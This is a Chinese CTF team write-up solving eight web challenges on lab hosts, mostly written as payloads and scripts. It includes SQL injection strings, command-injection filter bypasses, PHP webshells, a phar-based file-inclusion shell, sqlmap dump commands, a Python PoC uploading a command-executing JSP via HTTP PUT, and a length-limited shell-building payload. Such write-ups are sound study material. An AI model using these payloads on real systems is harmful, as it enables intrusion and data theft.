QUST-SEC战队WRITEUP

最后两个SQL注入没有

题目一 签到

操作内容

前端过滤 Burp抓包修改即可
burp抓包
蚁剑连接,在/var/www目录下找到了flag
66.png

key{K735c9f0D7ddc3b9}

题目二 命令执行基础

操作内容

尝试执行127.0.0.1;ls,发现过滤了;,用%0a(换行符)代替
输入127.0.0.1%0als ../
发现key.php,
再输入127.0.0.1%0acat ../key.php
得到flag
66.png

flag{usderhky}

题目三 你能爆破吗

操作内容

根据提示得知是cookie注入,查看cookie发现经过了base64编码
用order by判断查询字段数,为4时输出为空,可以得知查询了3个字段,
admin" order by 4 limit 0,1#

用以下语句注出库名
ad6min" union select database(),1,1 limit 0,1#
66.png
爆出security库下的表名
ad6min" union select group_concat(table_name),1,1 from information_schema.tables where table_schema='security' limit 0,1#
66.png
发现flag表,爆字段名
ad6min" union select group_concat(column_name),1,1 from information_schema.columns where table_name='flag' limit 0,1#
66.png
读flag
ad6min" union select group_concat(flag),1,1 from security.flag where 1=1 limit 0,1#
66.png

flag{a405ef895ef46d96}

题目四 文件上传

操作内容

抓包尝试上传一句话,经过fuzz发现后缀过滤了php、php4、php5、phtml,文件内容也存在过滤,过滤了php、eval等关键词,还有文件大小限制,必须大于20kb。
用0补到20kb,最终用pht后缀,用assert代替eval,大小写绕过php的替换,上传成功
66.png
66.png
用蚁剑连接得到flag
66.png

flag{Aa3c7c37508E40B3}

题目五 文件包含GetShell

操作内容

在html注释中发现lfi.txt,打开后得到lfi.php的源码,后缀名只能包含php。尝试phar文件包含
在本地生成一个包含shell的phar文件,重命名为xxx.txt上传到服务器上

<?php
$p = new Phar("my.phar", 0, 'my.phar');
$p->startBuffering();
$p['shell.php'] = '<?php system($_GET["x"]) ?>';
$p->setStub("<?php
    Phar::mapPhar('myphar.phar'); 
__HALT_COMPILER();");
$p->stopBuffering();
?>

66.png
66.png
66.png
执行ls发现flag.php,读取flag
http://afc114b2.yunyansec.com/lfi.php?file=phar://files/yUGMQyiG0Hmj3eO7.txt/shell&x=cat flag.php
66.png

flag{weisuohenzhongyao}

题目六 成绩单

操作内容

用burp抓包,将包保存为sql.txt,
执行sqlmap -r sql.txt --current-db得到数据库名web1
66.png
sqlmap -r sql.txt -D web1 –tables 得到表名,发现fl4g表
66.png
sqlmap -r sql.txt -D web1 -T fl4g --dump 得到flag
66.png

flag{Sql_INJECT0N_4813drd8hz4}

题目七 小猫咪踩灯泡

操作内容:

根据题目提示,搜索得到该漏洞的poc

#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/ffffzz')
    headers = dict(conn.getresponse().getheaders())
    if 'allow' in headers and \
       headers['allow'].find('PUT') > 0 :
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        url = "/" + str(int(time.time()))+'.jsp/'
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
        conn.request( method='PUT', url= url, body=body)
        res = conn.getresponse()
        if res.status  == 201 :
            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
            print 'shell:', 'http://' + sys.argv[1] + url[:-1]
        elif res.status == 204 :
            print 'file exists'
        else:
            print 'error'
        conn.close()
    else:
        print 'Server not vulnerable'
except Exception,e:
    print 'Error:', e

运行脚本得到shell
66.png
http://28a256cd.yunyansec.com/1593507883.jsp?&pwd=023&cmd=ls
得到根目录文件列表,发现flag.txt
66.png
http://28a256cd.yunyansec.com/1593507883.jsp?&pwd=023&cmd=cat flag.txt
得到flag
66.png

flag{54e47be053bf6ea1}

题目八 分析代码获得flag

操作内容

题目限制了命令的长度,linux中>xx可以直接生成一个xx名称的文件,可以利用这个将命令分开,最后再用ls -t>a命令将文件名列表保存到a中,
为了避免一些特殊字符,将一句话base64编码
<?php eval($_GET[1]);编码后为PD9waHAgZXZhbCgkX0dFVFsxXSk7
最终要执行的是echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
将命令分开,因为ls -t是按照时间先后排序的,所以要反着写,结尾\是转义 相当于一个\

hp
1.p\\
d\>\\
\ -\\
e64\\
bas\\
7\|\\
XSk\\
Fsx\\
dFV\\
kX0\\
bCg\\
XZh\\
AgZ\\
waH\\
PD9\\
o\ \\
ech\\

但是想要将文件列表保存到文件需要执行ls -t>q,这个命令7个字符,所以先要构造出这个命令。用以下命令得到可以执行ls -t>q命令的文件a

>-t\\
>\>q
>l\\
>s\ \\
ls>a
ls>>a

所以最终payload为

>-t\\
>\>q
>l\\
>s\ \\
ls>a
ls>>a
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh a
sh q

python脚本

import requests
url1 = "题目地址/?1="
with open("payload.txt","r") as f:
    for i in f:
        url = url1 + i.strip()
        requests.get(url)

执行完之后便在网站目录下生成了1.php,读取flag
66.png

flag{a1c8BFF2}
最后修改:2020 年 09 月 29 日 07 : 57 PM